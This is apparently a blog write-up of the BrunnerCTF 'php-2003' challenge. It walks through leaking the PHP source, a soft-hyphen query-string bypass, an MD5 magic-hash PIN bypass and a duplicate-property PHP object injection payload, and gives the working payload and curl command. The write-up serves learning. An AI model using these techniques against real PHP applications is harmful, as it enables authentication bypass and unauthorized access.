DEV Community

Yogeshwar Peela
Yogeshwar Peela

Posted on Originally published at exploitnotes.hashnode.dev

BrunnerCTF - php-2003 Writeup

Summary

A "Brunnerne Hosting" customer portal exposed a legacy reservation import form that fed
user-controlled, base64-encoded data into unserialize(). Getting a flag required chaining
three independent bypasses baked into the same handler:

  1. A hidden legacy CGI compatibility check gated behind a Unicode soft-hyphen substitution trick in the query string.
  2. A PHP "magic hash" type-juggling bypass on a loose (!=) MD5 comparison for the staff PIN.
  3. A duplicate-property trick against a regex-based sanity check on the serialized payload, so the app's own validation saw role=guest while PHP's unserialize() actually set role=admin.

Landing all three let us build a Booking object with role=admin and a Receipt object
wrapping a Voucher object. The server itself flips Receipt::$flushOnShutdown = true and then
unset()s the booking, triggering Receipt::__destruct(), which stringifies the Voucher and
echoes the flag.

Flag: brunner{php_was_a_web_framework_and_a_fever_dream}

Recon

Base page is a retro "Brunnerne Hosting" customer portal with a single POST form:

curl https://php-2003-5677b09b486f6b0a-global.challs.brunnerne.xyz
Enter fullscreen mode Exit fullscreen mode
<div class="panel-title">Reservation import</div>
<p class="intro">The original booking system is no longer in service. Staff can restore a
customer reservation from an exported booking file.</p>
<form method="post">
    <label>Staff recovery code</label>
    <input name="staff_pin" autocomplete="off">
    <label>Reservation export</label>
    <textarea name="reservation_export" rows="7" spellcheck="false"></textarea>
    <button type="submit">Import reservation</button>
</form>
Enter fullscreen mode Exit fullscreen mode

Two inputs (staff_pin, reservation_export) - textarea + "export" language screams
serialize/base64 blob. Checked robots.txt on a hunch, since old-school portals like this often
disallow stray debug paths:

curl https://php-2003-5677b09b486f6b0a-global.challs.brunnerne.xyz/robots.txt
Enter fullscreen mode Exit fullscreen mode
User-agent: *
Disallow: /cgi-bin/
Disallow: /stats/
Disallow: /webmail/
Disallow: /private/
Disallow: /index.phps
Enter fullscreen mode Exit fullscreen mode

index.phps is the interesting one - Apache's legacy PHP source-highlighting handler serves
.phps files as syntax-highlighted plaintext instead of executing them. Full source disclosure,
handed over for free:

curl https://php-2003-5677b09b486f6b0a-global.challs.brunnerne.xyz/index.phps
Enter fullscreen mode Exit fullscreen mode

Source review

Stripped of HTML syntax highlighting, the relevant PHP:

const ACCESS_CODE_HASH = '0e769468064680399918991535722650';

final class Voucher {
    public function __toString(): string {
        return getenv('WEBHOTEL_LICENSE_KEY') ?: 'brunner{REDACTED}';
    }
}

final class Receipt {
    public bool $flushOnShutdown = false;
    public mixed $voucher = null;

    public function __destruct() {
        if ($this->flushOnShutdown && $this->voucher instanceof Voucher) {
            $flag = htmlspecialchars((string) $this->voucher, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');
            echo '<div class="result flag">' . $flag . '</div>';
        }
    }
}

final class Booking {
    public string $user = '';
    public string $role = 'guest';
    public mixed $receipt = null;
}

function legacy_cgi_request(): bool {
    $raw = $_SERVER['QUERY_STRING'] ?? '';
    $decoded = urldecode($raw);
    if (str_contains($decoded, '-')) {
        return false;
    }
    $normalized = str_replace("\u{00AD}", '-', $decoded);
    return trim($normalized) === '-d webhotel.legacy=1';
}

function first_serialized_string(string $serialized, string $property): ?string {
    $name = preg_quote($property, '/');
    $pattern = '/s:' . strlen($property) . ':"' . $name . '";s:(\d+):"(.*?)";/s';
    if (!preg_match($pattern, $serialized, $match)) {
        return null;
    }
    return strlen($match[2]) === (int) $match[1] ? $match[2] : null;
}
Enter fullscreen mode Exit fullscreen mode

Handler logic (POST path):

if (!legacy_cgi_request())                                       -> "reservation service unavailable"
elseif (md5($staffPin) != ACCESS_CODE_HASH)                       -> "recovery code rejected"
elseif ($reservation === false)                                   -> "reservation export rejected"
elseif (first_serialized_string($reservation, 'role') !== 'guest')-> "only customer reservations can be imported"
else {
    $booking = @unserialize($reservation, [
        'allowed_classes' => [Booking::class, Receipt::class, Voucher::class],
    ]);
    if (!$booking instanceof Booking)                             -> "could not be read"
    elseif ($booking->role !== 'admin')                           -> "staff reservation required"
    elseif (!$booking->receipt instanceof Receipt)                -> "receipt missing"
    else {
        $booking->receipt->flushOnShutdown = true;
        $destroyBooking = $booking;
        // ... later: unset($destroyBooking); unset($booking);
    }
}
Enter fullscreen mode Exit fullscreen mode

The vulnerability class is textbook PHP object injection with a whitelisted allowed_classes
array - no arbitrary class gadget hunting needed, the app hands you the exact three classes it
wants populated. The interesting part is that every gate is independently bypassable by abusing
PHP/HTTP quirks rather than logic flaws in the business rules themselves.

Gate 1: legacy_cgi_request() - soft hyphen bypass

The check wants the raw query string, after urldecode(), to equal -d webhotel.legacy=1 -
but it explicitly rejects any decoded string containing a literal - before it does a
str_replace("\u{00AD}", '-', ...) substitution. \u{00AD} is the Unicode soft hyphen
(U+00AD, UTF-8 bytes 0xC2 0xAD), a distinct codepoint from ASCII hyphen-minus (0x2D).

So: send the soft hyphen instead of a real hyphen. It passes the blocklist (no literal -
present), then gets rewritten to - by the app itself, satisfying the final string comparison.

GET /?%C2%ADd%20webhotel.legacy=1
Enter fullscreen mode Exit fullscreen mode

Verified locally before firing at the target:

function legacy_cgi_request(string $raw): bool {
    $decoded = urldecode($raw);
    if (str_contains($decoded, "-")) return false;
    $normalized = str_replace("\u{00AD}", "-", $decoded);
    return trim($normalized) === "-d webhotel.legacy=1";
}
var_dump(legacy_cgi_request("%C2%ADd%20webhotel.legacy=1"));
// bool(true)
Enter fullscreen mode Exit fullscreen mode

Gate 2: staff_pin - magic hash

ACCESS_CODE_HASH is 0e769468064680399918991535722650 - an MD5 hash string that's entirely
digits after the 0e prefix. Compared with loose !=, PHP historically treats a string
matching ^0e[0-9]+$ as scientific notation and casts it to a float, so "0e123" == "0e456"
evaluates true (both cast to 0). This is the classic PHP "magic hash" bug.

Any string whose own MD5 also matches ^0e[0-9]+$ works, regardless of digits. Used the
well-known collision 240610708:

php -r 'echo md5("240610708");'
0e462097431906509019562988736854
Enter fullscreen mode Exit fullscreen mode
var_dump(md5("240610708") != "0e769468064680399918991535722650");
// bool(false)  -> check passes
Enter fullscreen mode Exit fullscreen mode

Gate 3: first_serialized_string() - duplicate property trick

This is the core trick of the challenge. The app runs a regex over the raw serialized string
before ever calling unserialize(), looking for the first s:4:"role";s:N:"value"; substring
and requiring value === 'guest'. But it also requires the actual deserialized object to have
$booking->role === 'admin'.

PHP's unserialize() builds objects by processing key/value pairs in order and assigning them
to properties as it goes - if the same property name appears twice in one object's serialized
data, the last occurrence wins, silently overwriting the earlier one. The property count N
in O:7:"Booking":N:{...} just needs to match the total number of key/value pairs, duplicates
included.

So the payload declares role twice:

s:4:"role";s:5:"guest";   <- first occurrence, satisfies the regex pre-check
...
s:4:"role";s:5:"admin";   <- later occurrence, wins in the actual object
Enter fullscreen mode Exit fullscreen mode

Built and validated locally with real copies of the three classes:

$payload = 'O:7:"Booking":4:{'
    . 's:4:"user";s:0:"";'
    . 's:4:"role";s:5:"guest";'
    . 's:7:"receipt";' . serialize($receipt)   // Receipt containing a Voucher
    . 's:4:"role";s:5:"admin";'
    . '}';
Enter fullscreen mode Exit fullscreen mode
Regex-extracted role: 'guest'
object(Booking)#3 (3) {
  ["user"]=> string(0) ""
  ["role"]=> string(5) "admin"
  ["receipt"]=> object(Receipt)#4 (2) {
    ["flushOnShutdown"]=> bool(false)
    ["voucher"]=> object(Voucher)#5 (0) {}
  }
}
Actual role property: admin
receipt instanceof Receipt: true
Enter fullscreen mode Exit fullscreen mode

Confirmed exactly the split behavior needed: sanity-check sees guest, real object has admin.

Decoded final payload sent to the server:

O:7:"Booking":4:{s:4:"user";s:0:"";s:4:"role";s:5:"guest";s:7:"receipt";O:7:"Receipt":2:{s:15:"flushOnShutdown";b:0;s:7:"voucher";O:7:"Voucher":0:{}}s:4:"role";s:5:"admin";}
Enter fullscreen mode Exit fullscreen mode

flushOnShutdown doesn't matter in the payload itself - the app forces it to true server-side
once it confirms $booking->receipt instanceof Receipt, right before destroying the booking.

Putting it together

curl -s -X POST \
  "https://php-2003-5677b09b486f6b0a-global.challs.brunnerne.xyz/?%C2%ADd%20webhotel.legacy=1" \
  --data-urlencode "staff_pin=240610708" \
  --data-urlencode "reservation_export=Tzo3OiJCb29raW5nIjo0OntzOjQ6InVzZXIiO3M6MDoiIjtzOjQ6InJvbGUiO3M6NToiZ3Vlc3QiO3M6NzoicmVjZWlwdCI7Tzo3OiJSZWNlaXB0IjoyOntzOjE1OiJmbHVzaE9uU2h1dGRvd24iO2I6MDtzOjc6InZvdWNoZXIiO086NzoiVm91Y2hlciI6MDp7fX1zOjQ6InJvbGUiO3M6NToiYWRtaW4iO30="
Enter fullscreen mode Exit fullscreen mode

First attempt failed with an empty reservation_export (local shell variable pointed at a file
that only existed in the sandbox used to build the payload, not on the actual attack box) -
got Only customer reservations can be imported. as a result of an empty string failing the
regex check entirely. Re-ran with the base64 blob pasted inline:

<div class="result ok">Reservation imported.</div>
<div class="result flag">brunner{php_was_a_web_framework_and_a_fever_dream}</div>
Enter fullscreen mode Exit fullscreen mode

Key vulnerabilities

# Vulnerability Root cause
1 Legacy CGI check bypass Blocklist checks for literal - before a soft-hyphen-to-hyphen substitution, allowing U+00AD to sneak past and become a real hyphen after the check
2 Staff PIN auth bypass Loose (!=) comparison of two "0e"-prefixed all-digit MD5 hashes - PHP type-juggling ("magic hash")
3 PHP Object Injection unserialize() on user-controlled base64 data, restricted via allowed_classes but with no __wakeup/property validation
4 Regex sanity-check bypass Property validation via regex on raw serialized string doesn't account for duplicate keys; unserialize() lets later duplicates silently overwrite earlier ones
5 Destructor-based side effect Receipt::__destruct() performs a privileged action (flag disclosure) reachable purely by controlling object graph + a state flag the app itself sets

Attack chain

robots.txt disallow "/index.phps"
        |
        v
Apache .phps handler leaks full PHP source (no code exec needed)
        |
        v
GET ?%C2%ADd%20webhotel.legacy=1  --> soft-hyphen bypasses legacy_cgi_request() blocklist
        |
        v
staff_pin=240610708  --> md5() magic hash bypasses loose ACCESS_CODE_HASH check
        |
        v
reservation_export = base64(serialized Booking)
  duplicate "role" property: first="guest" (fools regex pre-check)
                              last ="admin" (real value after unserialize())
        |
        v
allowed_classes unserialize() builds:
  Booking { role: admin, receipt: Receipt { voucher: Voucher } }
        |
        v
Server sets Receipt->flushOnShutdown = true, then unset()s the Booking
        |
        v
Receipt::__destruct() fires --> voucher instanceof Voucher --> echoes flag
Enter fullscreen mode Exit fullscreen mode

Top comments (0)